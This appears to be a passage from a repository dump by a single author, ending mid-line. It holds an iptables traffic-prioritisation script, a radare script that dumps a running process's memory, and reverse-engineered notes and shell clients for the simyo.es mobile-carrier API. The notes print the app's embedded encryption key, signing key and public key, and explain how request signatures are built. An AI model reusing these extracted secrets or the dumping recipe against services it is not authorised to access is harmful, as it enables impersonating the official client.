-A SET_TOS -p udp -m udp --sport 10000:20000 -j DSCP --set-dscp-class ef 272 | # echo "IAX/SIP/RTP traffic DSCP mangling is enabled" 273 | # GGPO 274 | echo "GGPO/udp" 275 | iptables -t mangle -A SET_TOS -p udp -m udp --dport 6000:6009 -j MARK --set-mark 1 276 | iptables -t mangle -A SET_TOS -p udp -m udp --dport 6000:6009 -j DSCP --set-dscp-class ef 277 | iptables -t mangle -A SET_TOS -p udp -m udp --sport 6000:6009 -j MARK --set-mark 1 278 | iptables -t mangle -A SET_TOS -p udp -m udp --sport 6000:6009 -j DSCP --set-dscp-class ef 279 | echo "GGPO traffic DSCP mangling is enabled" 280 | fi 281 | 282 | # high priority ports 283 | echo -n "Traffic on ports " 284 | for a in $PRIOPORT ; do 285 | echo -n "$a " 286 | iptables -t mangle -A SET_TOS -p tcp --dport $a -j TOS --set-tos Minimize-Delay 287 | iptables -t mangle -A SET_TOS -p tcp --sport $a -j TOS --set-tos Minimize-Delay 288 | iptables -t mangle -A SET_TOS -p udp --dport $a -j TOS --set-tos Minimize-Delay 289 | iptables -t mangle -A SET_TOS -p udp --sport $a -j TOS --set-tos Minimize-Delay 290 | iptables -t mangle -A SET_TOS -p tcp --dport $a -j MARK --set-mark 2 291 | iptables -t mangle -A SET_TOS -p tcp --sport $a -j MARK --set-mark 2 292 | iptables -t mangle -A SET_TOS -p udp --dport $a -j MARK --set-mark 2 293 | iptables -t mangle -A SET_TOS -p udp --sport $a -j MARK --set-mark 2 294 | done 295 | echo "will get high priority" 296 | 297 | # low priority ports 298 | echo -n "Traffic on ports " 299 | for a in $LIMITEDPORT ; do 300 | echo -n "$a " 301 | iptables -t mangle -A SET_TOS -p tcp --dport $a -j TOS --set-tos Minimize-Cost 302 | iptables -t mangle -A SET_TOS -p tcp --sport $a -j TOS --set-tos Minimize-Cost 303 | iptables -t mangle -A SET_TOS -p udp --dport $a -j TOS --set-tos Minimize-Cost 304 | iptables -t mangle -A SET_TOS -p udp --sport $a -j TOS --set-tos Minimize-Cost 305 | iptables -t mangle -A SET_TOS -p tcp --dport $a -j MARK --set-mark 4 306 | iptables -t mangle -A SET_TOS -p tcp --sport $a -j MARK --set-mark 4 307 | iptables -t mangle -A SET_TOS -p udp --dport $a -j MARK --set-mark 4 308 | iptables -t mangle -A SET_TOS -p udp --sport $a -j MARK --set-mark 4 309 | done 310 | echo "will get low priority" 311 | 312 | # high priority hosts 313 | for a in $PRIOHOST ; do 314 | iptables -t mangle -A SET_TOS -s $a -j TOS --set-tos Minimize-Delay 315 | iptables -t mangle -A SET_TOS -d $a -j TOS --set-tos Minimize-Delay 316 | iptables -t mangle -A SET_TOS -s $a -j MARK --set-mark 2 317 | iptables -t mangle -A SET_TOS -d $a -j MARK --set-mark 2 318 | echo "Traffic from/to host $a will get highest priority" 319 | done 320 | 321 | # limited hosts 322 | for a in $LIMITEDHOST ; do 323 | iptables -t mangle -A SET_TOS -s $a -j TOS --set-tos Minimize-Cost 324 | iptables -t mangle -A SET_TOS -d $a -j TOS --set-tos Minimize-Cost 325 | iptables -t mangle -A SET_TOS -s $a -j MARK --set-mark 4 326 | iptables -t mangle -A SET_TOS -d $a -j MARK --set-mark 4 327 | echo "Traffic from/to host $a will get lowest priority" 328 | done 329 | 330 | 331 | # now we decide where we put the common traffic 332 | echo "TOS Minimize-Delay (0x10), ICMP and ACK,SYN,RST packets will get high priority" 333 | echo "TOS Minimize-Cost (0x02) will get low priority" 334 | 335 | # TOS Minimize-Delay (0x10) in 1:10 336 | iptables -t mangle -A SET_TOS -m tos --tos Minimize-Delay -j MARK --set-mark 2 337 | # TOS Minimize-Cost (0x02) in 1:40 338 | iptables -t mangle -A SET_TOS -m tos --tos Minimize-Cost -j MARK --set-mark 4 339 | 340 | # ICMP in the interactive class 1:10 so we can do measurements & impress our friends 341 | iptables -t mangle -A SET_TOS -p icmp -j MARK --set-mark 2 342 | 343 | # To speed up downloads while an upload is going on, put ACK packets in the interactive class 344 | iptables -t mangle -A SET_TOS -p tcp -m tcp --tcp-flags SYN,RST,ACK SYN -j MARK --set-mark 2 345 | # all tcp packets except SYN have ACK bit set, so to really mark ACKs we look at the packet size: 346 | iptables -t mangle -A SET_TOS -p tcp -m length --length 40:64 -j MARK --set-mark 2 347 | 348 | # igmp 349 | #iptables -t mangle -A SET_TOS -p igmp -j TOS --set-tos Maximize-Reliability 350 | # ftp helper 351 | #iptables -t mangle -A SET_TOS -m helper --helper ftp -j TOS --set-tos Maximize-Throughput 352 | 353 | # we use -I here to "Insert" before anything is done to input/output/forward packets 354 | iptables -t mangle -I INPUT -j SET_TOS 355 | iptables -t mangle -I FORWARD -j SET_TOS 356 | iptables -t mangle -I OUTPUT -j SET_TOS 357 | -------------------------------------------------------------------------------- /process-dumper/process-dumper.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | radare -d $@ <<_EOF_ 3 | !cont entrypoint 4 | s 0x08048000 5 | !cont close 6 | !maps 7 | f dump_start @ \`!maps~0x080[0]#1\` 8 | f dump_end @ \`!maps~0x080[2]#0\` 9 | !printf Dump size: 10 | ? dump_end-dump_start 11 | f~dump 12 | b dump_end-dump_start 13 | wt dumped 14 | q 15 | y 16 | _EOF_ 17 | -------------------------------------------------------------------------------- /simyo/README.md: -------------------------------------------------------------------------------- 1 | SIMYO.ES API NOTES: 2 | (reverse engineered from the com.simyo mobile app) 3 | 4 | - The password used by the API is your Simyo password encripted using 5 | TripleDES with this key: `25d1d4cb0a08403e2acbcbe0f25a2` 6 | 7 | - All requests to the API have a signature which is sent in the parameter 8 | "`apiSig=xxxx`", this signature is calculated like this: 9 | 1. convert to lowercase the complete request URL except the apiSig 10 | parameter 11 | 2. concatenate the string "`f25a2s1m10`" + the lowercased URL 12 | 3. the signature is obtained by computing the HMAC-SHA256 hash of the 13 | string obtained in the previous step, using the key "`f25a2s1m10`". 14 | 15 | - All api requests need the parameter "`publicKey=xxxx`", the value of 16 | this public key is: `a654fb77dc654a17f65f979ba8794c34` 17 | 18 | The rest is a piece of cake, make the request and parse the received 19 | json response. 20 | 21 | SAMPLE COMMAND LINE APPLICATION: 22 | 23 | Usage: 24 |
25 | pau@maco:~/simyo$ ./simyo.py -h
26 | usage: simyo.py [-h] [-v] [-c] [-y] [-l] [-s] [-g] [-o] [-e] [-r] [-f]
27 |                 [-b BILLCYCLE] [-m MSISDN] [-d INVOICE_ID]
28 | 
29 | optional arguments:
30 |   -h, --help            show this help message and exit
31 |   -v, --verbose         verbose mode
32 |   -c, --bycycle         show consumption detail by billing cycle (default)
33 |   -y, --byday           show consumption detail by day
34 |   -l, --listinvoice     list all downloadable invoices
35 |   -s, --showmsisdn      list the msisdns available in the account
36 |   -g, --mgm             show member-get-member history
37 |   -o, --voicecalls      show voice call records
38 |   -e, --messages        show sms records
39 |   -r, --recharge        show recharge history
40 |   -f, --frequent        show frequent numbers
41 |   -b BILLCYCLE, --billcycle BILLCYCLE
42 |                         specify the billing cycle (from 1 to 6), default=1
43 |   -m MSISDN, --msisdn MSISDN
44 |                         specify the msisdn if you have more than 1 line
45 |   -d INVOICE_ID, --download INVOICE_ID
46 |                         download invoice specified by INVOICE_ID
47 | 
48 | 49 | Current billing cycle: 50 |
51 | pau@maco:~/simyo$ ./simyo.py
52 | 
53 | Periodo de 01/09/2013 a 30/09/2013
54 | 
55 | Llamadas: 0:27:10 (1.5941 EUR)
56 | SMS: 0 (0.0 EUR)
57 | Datos: 336.61 MB (0.0 EUR)
58 | 
59 | Datos Roaming: 15.55 MB (8.4608 EUR)
60 | 
61 | Consumo total: 10.0549 EUR
62 | 
63 | 64 | List invoices: 65 |
66 | pau@maco:~/simyo$ ./simyo.py -l
67 | Factura 2010813-00037922 (id=H2013081014623847) del 01/08/2013 al 31/08/2013
68 | Factura 2010713-00034044 (id=H2013071014073781) del 01/07/2013 al 31/07/2013
69 | Factura 2010613-00032410 (id=H2013061013549461) del 01/06/2013 al 30/06/2013
70 | Factura 2010513-00032987 (id=H2013051012990184) del 01/05/2013 al 31/05/2013
71 | Factura 2010413-00032133 (id=H2013041012458163) del 01/04/2013 al 30/04/2013
72 | 
73 | 74 | Download invoice: 75 |
76 | pau@maco:~/simyo$ ./simyo.py -d H2013071014073781
77 | File: factura_12345_1984119_2010713-00034044_010912.pdf
78 | 
79 | 80 | INSTALL: 81 | 82 | On Ubuntu/Debian systems, you need to install the required dependencies first: 83 |
84 | $ sudo apt-get install python-pip python-argparse
85 | $ sudo pip install pyDes
86 | 
87 | -------------------------------------------------------------------------------- /simyo/old/v1/simyo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # quick-n-dirty simyo.es consumption checker 4 | # (c) 2012 Pau Oliva - pof [at] eslack (.) org 5 | # 6 | # license: WTFPL (Do What The Fuck You Want To Public License) 7 | # 8 | # depends: bash, curl, lynx, tidy, sed, grep, egrep, cut, rev, ... 9 | 10 | # enter your simyo.es username and password here: 11 | USERNAME="" 12 | PASSWORD="" 13 | 14 | if [ -z "$USERNAME" ]; then 15 | echo "Edit the script to enter your username/password" 16 | exit 1 17 | fi 18 | 19 | UA="Firefox" 20 | CURL="curl -A $UA -s -m 45" 21 | COOKIE="/tmp/cookie.txt" 22 | 23 | DEBUG=0 24 | TEST=0 25 | VAL="" 26 | for opt in $* ; do 27 | case $opt in 28 | "-t") TEST=1 ;; 29 | "-b") 30 | VAL="BC" 31 | continue 32 | ;; 33 | "-h") 34 | echo "Usage: $0 [-h|-t|-b num]" 35 | echo " -h : show this help" 36 | echo " -t : test mode (for development)" 37 | echo " -b num : bill cycle (from 1 to 6)" 38 | exit 0 39 | ;; 40 | esac 41 | case $VAL in 42 | "BC") 43 | BC=$opt 44 | VAL="" 45 | ;; 46 | *) VAL="" 47 | esac 48 | done 49 | 50 | if [ -z "$BC" ]; then 51 | BC=1 52 | fi 53 | if [ "$BC" -gt 6 ]; then 54 | echo "Billing Cylce must be an integer from 1 (current month) to 6" 55 | exit 1 56 | fi 57 | 58 | if [ "$TEST" -eq 1 ]; then 59 | RES=$(cat samples/detail.html |tidy -w 200 2>/dev/null |egrep -A2 '(VOICE|SMS|MMS|DATA|consumidos).*span' |lynx -dump --stdin |sed -e "s/--//g") 60 | RES2=$(cat samples/panel.html |tidy -w 200 2>/dev/null) 61 | else 62 | count=0 63 | echo -n "Connecting to simyo..." 64 | while [ -z "$RES" ]; do 65 | count=$(($count + 1)) 66 | echo -n "." 67 | $CURL -c $COOKIE https://www.simyo.es/simyo/publicarea/login/j_security_check -o /dev/null 68 | echo -n "." 69 | $CURL -L -b $COOKIE -d "j_username=$USERNAME&j_password=$PASSWORD&x=108&y=21" https://www.simyo.es/simyo/publicarea/login/j_security_check -o /dev/null 70 | echo -n "." 71 | if [ "$DEBUG" -eq 1 ]; then 72 | mkdir samples 2>/dev/null 73 | $CURL -L -b $COOKIE https://www.simyo.es/simyo/privatearea/customer/consumption-panel.htm -o samples/panel.html 74 | else 75 | RES2=$($CURL -L -b $COOKIE https://www.simyo.es/simyo/privatearea/customer/consumption-panel.htm -o - |tidy -w 200 2>/dev/null) 76 | fi 77 | echo -n "." 78 | if [ "$DEBUG" -eq 1 ]; then 79 | $CURL -L -b $COOKIE -d "selectedBillCycle=${BC}" https://www.simyo.es/simyo/privatearea/customer/consumption-detail.htm -o samples/detail.html 80 | else 81 | RES=$($CURL -L -b $COOKIE -d "selectedBillCycle=${BC}" https://www.simyo.es/simyo/privatearea/customer/consumption-detail.htm -o - |tidy -w 200 2>/dev/null |egrep -A2 '(VOICE|SMS|MMS|DATA|consumidos).*span' |lynx -dump --stdin |sed -e "s/--//g") 82 | fi 83 | echo -n "." 84 | rm -f $COOKIE 85 | echo -n "." 86 | if [ "$DEBUG" -eq 1 ]; then 87 | echo "Debug output saved in samples/*.html" 88 | exit 1 89 | fi 90 | if [ "$count" -ge 5 ]; then 91 | echo " FAIL!" 92 | exit 1 93 | fi 94 | done 95 | echo " OK!" 96 | fi 97 | echo 98 | 99 | if [ -z "$RES2" ]; then BC=1 ; fi 100 | MONTHS=$(( $BC - 1 )) 101 | DATE=`date --date="$MONTHS month ago" "+%Y-%m"` 102 | echo "Facturacion: $DATE" 103 | echo 104 | 105 | if [ "$BC" != 1 ] || [ -z "$RES2" ]; then 106 | RES=`echo $RES` 107 | echo "$RES" |sed -e "s/€ Total de MB consumidos: /EUR (/g" -e "s/€ /EUR\n/g" -e "s/MB /MB)\n/g" -e "s/MB$/MB)/g" -e "s/)/)\n/g" 108 | exit 0 109 | fi 110 | 111 | PANEL=$(echo "$RES2" |egrep -B3 -A3 '(Llamadas|SMS|MMS|Datos|Roaming)' |egrep "(^$)") 112 | DATA=`echo $PANEL |sed -e "s: :
:g" |lynx -dump --stdin |sed -e "s/ //g" -e "s/^ //g" -e "s: / :/:g" -e "s/€/EUR/g"` 113 | if [ "$TEST" -eq 1 ]; then 114 | echo "====================" 115 | echo "$PANEL" 116 | echo "====================" 117 | fi 118 | 119 | #nacional 120 | for f in Llamadas SMS MMS Datos ; do 121 | A=`echo "$DATA" |grep -i "$f" |egrep -vi "(EUR|roaming|premium)"` 122 | B=`echo "$DATA" |grep -i "$f" |egrep -vi "(roaming|premium)" |grep "EUR" |sed -e "s/ EUR/EUR/g" -e "s/EUR/ EUR/g" |rev |cut -f 1,2 -d " " |rev` 123 | echo "$A ($B)" 124 | done 125 | echo 126 | 127 | #roaming 128 | print=0 129 | for f in Realizadas Recibidas SMS MMS Datos ; do 130 | A=`echo "$DATA" |grep -i "$f" |grep -v "EUR" |grep -i "roaming" |sed -e "s/roaming //gI"` 131 | B=`echo "$DATA" |grep -i "$f" |grep -i "roaming" |grep "EUR" |sed -e "s/ EUR/EUR/g" -e "s/EUR/ EUR/g" |rev |cut -f 1,2 -d " " |rev` 132 | if [ ! -z "$A" ] || [ ! -z "$B" ]; then 133 | if [ -z "$A" ]; then A="$f" ; fi 134 | if [ -z "$B" ]; then B="0 EUR" ; fi 135 | echo "Roaming $A ($B)" 136 | print=1 137 | fi 138 | done 139 | if [ "$print" -eq 1 ]; then echo ; fi 140 | 141 | #premium 142 | print=0 143 | for f in Llamadas SMS ; do 144 | A=`echo "$DATA" |grep -i "$f" |grep -v "EUR" |grep -i "premium" |sed -e "s/premium //gI"` 145 | B=`echo "$DATA" |grep -i "$f" |grep -i "premium" |grep "EUR" |sed -e "s/ EUR/EUR/g" -e "s/EUR/ EUR/g" |rev |cut -f 1,2 -d " " |rev` 146 | if [ ! -z "$A" ] || [ ! -z "$B" ]; then 147 | if [ -z "$A" ]; then A="$f" ; fi 148 | if [ -z "$B" ]; then B="0 EUR" ; fi 149 | echo "$A ($B)" |sed -e "s/Llamadas/Llamadas Premium/g" -e "s/SMS /SMS Premium/g" 150 | print=1 151 | fi 152 | done 153 | if [ "$print" -eq 1 ]; then echo ; fi 154 | 155 | echo "$RES2" |grep "Consumo total" |lynx -dump --stdin |sed -e "s/€/EUR/g" |grep -v "^$" 156 | DIA=$(echo "$RES2" |grep "desde el d.*hasta hoy" |rev |cut -f 3 -d " " |rev) 157 | echo "Periodo facturacion empieza el dia $DIA de cada mes" 158 | -------------------------------------------------------------------------------- /simyo/old/v2/simyo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # quick-n-dirty simyo.es consumption checker v2 4 | # (c) 2013 Pau Oliva - pof [at] eslack (.) org 5 | # 6 | # license: WTFPL (Do What The Fuck You Want To Public License) 7 | # 8 | # api functions reverse engineered from the com.simyo android app 9 | 10 | # enter your simyo.es username and password here: 11 | 12 | USERNAME="" 13 | PASSWORD="" 14 | 15 | if [ -z "$USERNAME" ]; then 16 | echo "Edit the script to enter your username/password" 17 | exit 1 18 | fi 19 | 20 | MSISDN="" 21 | SHOWMSISDN=0 22 | SHOWMGM=0 23 | INVOICELIST=0 24 | INVOICEDOWNLOAD=0 25 | VERBOSE=0 26 | VAL="" 27 | for opt in $* ; do 28 | case $opt in 29 | "-v") VERBOSE=1 ;; 30 | "-l") INVOICELIST=1 ;; 31 | "-b") 32 | VAL="billCycle" 33 | continue 34 | ;; 35 | "-d") 36 | VAL="reqInvoiceId" 37 | INVOICEDOWNLOAD=1 38 | continue 39 | ;; 40 | "-m") 41 | VAL="MSISDN" 42 | continue 43 | ;; 44 | "-s") 45 | SHOWMSISDN=1 46 | ;; 47 | "-g") 48 | SHOWMGM=1 49 | ;; 50 | "-h") 51 | echo "Usage: $0 [-h|-v|-b num|-l|-d id|-m num|-s|-g]" 52 | echo " -h : show this help" 53 | echo " -v : verbose mode" 54 | echo " -b num : bill cycle (from 1 to 6)" 55 | echo " -l : invoice list" 56 | echo " -d id : download invoice" 57 | echo " -m num : msisdn if you have more than 1 line" 58 | echo " -s : show user's msisdn" 59 | echo " -g : show member-get-member history" 60 | exit 0 61 | ;; 62 | esac 63 | case $VAL in 64 | "billCycle") 65 | billCycle=$opt 66 | VAL="" 67 | ;; 68 | "reqInvoiceId") 69 | reqInvoiceId=$opt 70 | VAL="" 71 | ;; 72 | "MSISDN") 73 | MSISDN=$opt 74 | VAL="" 75 | ;; 76 | *) VAL="" ;; 77 | esac 78 | done 79 | 80 | if [ $INVOICEDOWNLOAD -eq 1 ] && [ -z "$reqInvoiceId" ]; then 81 | echo "WARNING: Parameter -d requires an invoice id. Listing invoices instead." 82 | INVOICELIST=1 83 | fi 84 | 85 | if [ -z "$billCycle" ]; then 86 | billCycle=1 87 | fi 88 | if [ "$billCycle" -gt 6 ]; then 89 | echo "Billing Cylce must be an integer from 1 (current month) to 6" 90 | exit 1 91 | fi 92 | 93 | SIMYOPASS=$(php tripledes.php $PASSWORD 2>/dev/null) 94 | kPublicKey="a654fb77dc654a17f65f979ba8794c34" 95 | 96 | function getApiSig() { 97 | LOL=$(echo ${1} |tr [:upper:] [:lower:]) 98 | LOL="f25a2s1m10${LOL}" 99 | php -r "error_reporting(0);\$s=hash_hmac('sha256', \"${LOL}\", 'f25a2s1m10', true); echo \$s;" |xxd -ps -c 100 100 | } 101 | 102 | function getJsonValue() { 103 | key="$1" 104 | file="$2" 105 | local J=$(cat $file) 106 | python -c "import json;print json.loads('$J')${key}" 2>/dev/null 107 | if [ $? != 0 ]; then 108 | key=$(echo $key |rev |cut -f 2 -d "'" |rev) 109 | cat $file |json_pp |grep "\"$key\"" |awk '{print $3}' |head -n 1 |cut -f 2 -d '"' |sed -e "s/,$//g" 110 | return 1 111 | fi 112 | } 113 | 114 | #### login 115 | function api_login() { 116 | URL="https://www.simyo.es/api/login?publicKey=${kPublicKey}" 117 | apiSig=$(getApiSig $URL) 118 | URL="${URL}&apiSig=${apiSig}" 119 | curl -s -d "user=${USERNAME}&password=${SIMYOPASS}&apiSig=null" "${URL}" -o auth.json 120 | if [ $VERBOSE -eq 1 ]; then json_pp < auth.json ; fi 121 | 122 | sessionId=$(getJsonValue "['response']['sessionId']" auth.json) 123 | customerId=$(getJsonValue "['response']['customerId']" auth.json) 124 | 125 | if [ -z "$customerId" ]; then 126 | echo "Something went wrong." 127 | exit 1 128 | fi 129 | } 130 | 131 | #### subscriptions 132 | function subscriptions() { 133 | URL="https://www.simyo.es/api/subscriptions/${customerId}?sessionId=${sessionId}&publicKey=${kPublicKey}" 134 | apiSig=$(getApiSig $URL) 135 | URL="${URL}&apiSig=${apiSig}" 136 | curl -s "$URL" -o subscriptions.json 137 | if [ $VERBOSE -eq 1 ]; then json_pp < subscriptions.json ; fi 138 | 139 | len=$(cat subscriptions.json |grep -o "msisdn" |wc -l) 140 | for i in `seq $(( $len - 1 )) -1 0` ; do 141 | registerDate=$(getJsonValue "['response']['subcriptions'][$i]['registerDate']" subscriptions.json) 142 | mainProductId=$(getJsonValue "['response']['subcriptions'][$i]['mainProductId']" subscriptions.json) 143 | billCycleType=$(getJsonValue "['response']['subcriptions'][$i]['billCycleType']" subscriptions.json) 144 | msisdn=$(getJsonValue "['response']['subcriptions'][$i]['msisdn']" subscriptions.json) 145 | subscriberId=$(getJsonValue "['response']['subcriptions'][$i]['subscriberId']" subscriptions.json) 146 | payType=$(getJsonValue "['response']['subcriptions'][$i]['payType']" subscriptions.json) 147 | if [ "$SHOWMSISDN" -eq 1 ] ; then 148 | echo "MSISDN: $msisdn (product=$mainProductId)" 149 | else 150 | if [ "$msisdn" = "$MSISDN" ]; then 151 | break 152 | fi 153 | fi 154 | done 155 | if [ "$SHOWMSISDN" -eq 1 ] ; then 156 | api_logout 157 | exit 0 158 | fi 159 | } 160 | 161 | #### consumptionByCycle 162 | function consumptionByCycle() { 163 | URL="https://www.simyo.es/api/consumptionByCycle/${customerId}?sessionId=${sessionId}&msisdn=${msisdn}&billCycleType=${billCycleType}®isterDate=${registerDate}&billCycle=${billCycle}&billCycleCount=${billCycleCount}&payType=${payType}&publicKey=${kPublicKey}" 164 | apiSig=$(getApiSig $URL) 165 | URL="${URL}&apiSig=${apiSig}" 166 | curl -s "$URL" -o consumptionByCicle.json 167 | if [ $VERBOSE -eq 1 ]; then json_pp < consumptionByCicle.json ; fi 168 | 169 | startDate=$(getJsonValue "['response']['consumptionsByCycle'][0]['startDate']" consumptionByCicle.json) 170 | startDate=$(echo $startDate |cut -c 1-10) 171 | endDate=$(getJsonValue "['response']['consumptionsByCycle'][0]['endDate']" consumptionByCicle.json) 172 | endDate=$(echo $endDate |cut -c 1-10) 173 | 174 | start=$(date -d@${startDate} "+%d/%m/%y") 175 | end=$(date -d@${endDate} "+%d/%m/%y") 176 | echo 177 | echo "Periodo de $start a $end" 178 | echo 179 | 180 | count=$(getJsonValue "['response']['consumptionsByCycle'][0]['voice']['count']" consumptionByCicle.json) 181 | chargeTotal=$(getJsonValue "['response']['consumptionsByCycle'][0]['voice']['chargeTotal']" consumptionByCicle.json) 182 | hms=$(echo "obase=60;${count}" | bc |sed -e "s/^ //" -e "s/$/ /g" |rev |sed -e "s/ /s/" -e "s/ /m/" -e "s/ /h/" -e "s/ /d/" |rev |sed -e "s/d/d /" -e "s/h/h /" -e "s/m/m /") 183 | echo "Llamadas: ${hms} (${chargeTotal} EUR)" 184 | 185 | count=$(getJsonValue "['response']['consumptionsByCycle'][0]['sms']['count']" consumptionByCicle.json) 186 | chargeTotal=$(getJsonValue "['response']['consumptionsByCycle'][0]['sms']['chargeTotal']" consumptionByCicle.json) 187 | echo "SMS: ${count} (${chargeTotal} EUR)" 188 | 189 | count=$(getJsonValue "['response']['consumptionsByCycle'][0]['mms']['count']" consumptionByCicle.json) 190 | if [ $count -gt 0 ]; then 191 | chargeTotal=$(getJsonValue "['response']['consumptionsByCycle'][0]['mms']['chargeTotal']" consumptionByCicle.json) 192 | echo "MMS: ${count} (${chargeTotal} EUR)" 193 | fi 194 | 195 | count=$(getJsonValue "['response']['consumptionsByCycle'][0]['data']['count']" consumptionByCicle.json) 196 | chargeTotal=$(getJsonValue "['response']['consumptionsByCycle'][0]['data']['chargeTotal']" consumptionByCicle.json) 197 | count=$(echo "scale=2; $count/1024/1024" |bc) # bytes to megabytes 198 | echo "Datos: ${count} MB (${chargeTotal} EUR)" 199 | 200 | PRINT=0 201 | 202 | count=$(getJsonValue "['response']['consumptionsByCycle'][0]['voicePremium']['count']" consumptionByCicle.json) 203 | if [ $count -gt 0 ]; then 204 | chargeTotal=$(getJsonValue "['response']['consumptionsByCycle'][0]['voicePremium']['chargeTotal']" consumptionByCicle.json) 205 | hms=$(echo "obase=60;${count}" | bc |sed -e "s/^ //" -e "s/$/ /g" |rev |sed -e "s/ /s/" -e "s/ /m/" -e "s/ /h/" -e "s/ /d/" |rev |sed -e "s/d/d /" -e "s/h/h /" -e "s/m/m /") 206 | if [ $PRINT -eq 0 ]; then echo ; PRINT=1 ; fi 207 | echo "Llamadas Premium: ${hms} (${chargeTotal} EUR)" 208 | fi 209 | 210 | count=$(getJsonValue "['response']['consumptionsByCycle'][0]['smsPremium']['count']" consumptionByCicle.json) 211 | if [ $count -gt 0 ]; then 212 | chargeTotal=$(getJsonValue "['response']['consumptionsByCycle'][0]['smsPremium']['chargeTotal']" consumptionByCicle.json) 213 | if [ $PRINT -eq 0 ]; then echo ; PRINT=1 ; fi 214 | echo "SMS Premium: ${count} (${chargeTotal} EUR)" 215 | fi 216 | 217 | PRINT=0 218 | 219 | count=$(getJsonValue "['response']['consumptionsByCycle'][0]['voiceOutgoingRoaming']['count']" consumptionByCicle.json) 220 | if [ $count -gt 0 ]; then 221 | chargeTotal=$(getJsonValue "['response']['consumptionsByCycle'][0]['voiceOutgoingRoaming']['chargeTotal']" consumptionByCicle.json) 222 | hms=$(echo "obase=60;${count}" | bc |sed -e "s/^ //" -e "s/$/ /g" |rev |sed -e "s/ /s/" -e "s/ /m/" -e "s/ /h/" -e "s/ /d/" |rev |sed -e "s/d/d /" -e "s/h/h /" -e "s/m/m /") 223 | if [ $PRINT -eq 0 ]; then echo ; PRINT=1 ; fi 224 | echo "Llamadas Salientes Roaming: ${hms} (${chargeTotal} EUR)" 225 | fi 226 | 227 | count=$(getJsonValue "['response']['consumptionsByCycle'][0]['voiceIngoingRoaming']['count']" consumptionByCicle.json) 228 | if [ $count -gt 0 ]; then 229 | chargeTotal=$(getJsonValue "['response']['consumptionsByCycle'][0]['voiceIngoingRoaming']['chargeTotal']" consumptionByCicle.json) 230 | hms=$(echo "obase=60;${count}" | bc |sed -e "s/^ //" -e "s/$/ /g" |rev |sed -e "s/ /s/" -e "s/ /m/" -e "s/ /h/" -e "s/ /d/" |rev |sed -e "s/d/d /" -e "s/h/h /" -e "s/m/m /") 231 | if [ $PRINT -eq 0 ]; then echo ; PRINT=1 ; fi 232 | echo "Llamadas Entrantes Roaming: ${hms} (${chargeTotal} EUR)" 233 | fi 234 | 235 | count=$(getJsonValue "['response']['consumptionsByCycle'][0]['smsRoaming']['count']" consumptionByCicle.json) 236 | if [ $count -gt 0 ]; then 237 | chargeTotal=$(getJsonValue "['response']['consumptionsByCycle'][0]['smsRoaming']['chargeTotal']" consumptionByCicle.json) 238 | if [ $PRINT -eq 0 ]; then echo ; PRINT=1 ; fi 239 | echo "SMS Roaming: ${count} (${chargeTotal} EUR)" 240 | fi 241 | 242 | count=$(getJsonValue "['response']['consumptionsByCycle'][0]['mmsRoaming']['count']" consumptionByCicle.json) 243 | if [ $count -gt 0 ]; then 244 | chargeTotal=$(getJsonValue "['response']['consumptionsByCycle'][0]['mmsRoaming']['chargeTotal']" consumptionByCicle.json) 245 | if [ $PRINT -eq 0 ]; then echo ; PRINT=1 ; fi 246 | echo "MMS Roaming: ${count} (${chargeTotal} EUR)" 247 | fi 248 | 249 | count=$(getJsonValue "['response']['consumptionsByCycle'][0]['dataRoaming']['count']" consumptionByCicle.json) 250 | if [ $count -gt 0 ]; then 251 | chargeTotal=$(getJsonValue "['response']['consumptionsByCycle'][0]['dataRoaming']['chargeTotal']" consumptionByCicle.json) 252 | count=$(echo "scale=2; $count/1024/1024" |bc) # bytes to megabytes 253 | if [ $PRINT -eq 0 ]; then echo ; PRINT=1 ; fi 254 | echo "Datos Roaming: ${count} MB (${chargeTotal} EUR)" 255 | fi 256 | 257 | echo 258 | 259 | chargeTotal=$(getJsonValue "['response']['consumptionsByCycle'][0]['chargeTotal']" consumptionByCicle.json) 260 | echo "Consumo total: ${chargeTotal} EUR" 261 | echo 262 | } 263 | 264 | #### consumptionDetailByCycle 265 | function consumptionDetailByCycle() { 266 | URL="https://www.simyo.es/api/consumptionDetailByCycle/${customerId}?msisdn=${msisdn}&sessionId=${sessionId}&billCycleType=${billCycleType}&billCycle=${billCycle}®isterDate=${registerDate}&billCycleCount=${billCycleCount}&payType=${payType}&publicKey=${kPublicKey}" 267 | apiSig=$(getApiSig $URL) 268 | URL="${URL}&apiSig=${apiSig}" 269 | curl -s "$URL" -o consumptionDetailByCicle.json 270 | if [ $VERBOSE -eq 1 ]; then json_pp < consumptionDetailByCicle.json ; fi 271 | } 272 | 273 | #### frequentNumbers 274 | function frequentNumbers() { 275 | month=$billCycle # Parameter month is mandatory 276 | URL="https://www.simyo.es/api/frequentNumbers/${customerId}?msisdn=${msisdn}&sessionId=${sessionId}&billCycleType=${billCycleType}®isterDate=${registerDate}&month=${month}&publicKey=${kPublicKey}" 277 | apiSig=$(getApiSig $URL) 278 | URL="${URL}&apiSig=${apiSig}" 279 | curl -s "$URL" -o frequentNumbers.json 280 | if [ $VERBOSE -eq 1 ]; then json_pp < frequentNumbers.json ; fi 281 | } 282 | 283 | #### messages 284 | function messages() { 285 | local start=1 286 | local count=500 287 | URL="https://www.simyo.es/api/messages/${customerId}?msisdn=${msisdn}&sessionId=${sessionId}&billCycleType=${billCycleType}&billCycle=${billCycle}®isterDate=${registerDate}&start=${start}&count=${count}&publicKey=${kPublicKey}" 288 | apiSig=$(getApiSig $URL) 289 | URL="${URL}&apiSig=${apiSig}" 290 | curl -s "$URL" -o messages.json 291 | if [ $VERBOSE -eq 1 ]; then json_pp < messages.json ; fi 292 | } 293 | 294 | #### mgmHistory 295 | function mgmHistory() { 296 | URL="https://www.simyo.es/api/mgmHistory/${customerId}?sessionId=${sessionId}&publicKey=${kPublicKey}" 297 | apiSig=$(getApiSig $URL) 298 | URL="${URL}&apiSig=${apiSig}" 299 | curl -s "$URL" -o mgmHistory.json 300 | if [ $VERBOSE -eq 1 ]; then json_pp < mgmHistory.json ; fi 301 | 302 | receivedPoints=$(getJsonValue "['response']['mgmHistoryList']['receivedPoints']" mgmHistory.json) 303 | usedPoints=$(getJsonValue "['response']['mgmHistoryList']['usedPoints']" mgmHistory.json) 304 | totalAvailablePoints=$(getJsonValue "['response']['mgmHistoryList']['totalAvailablePoints']" mgmHistory.json) 305 | 306 | echo "EUROS GANADOS: $receivedPoints" 307 | echo "EUROS 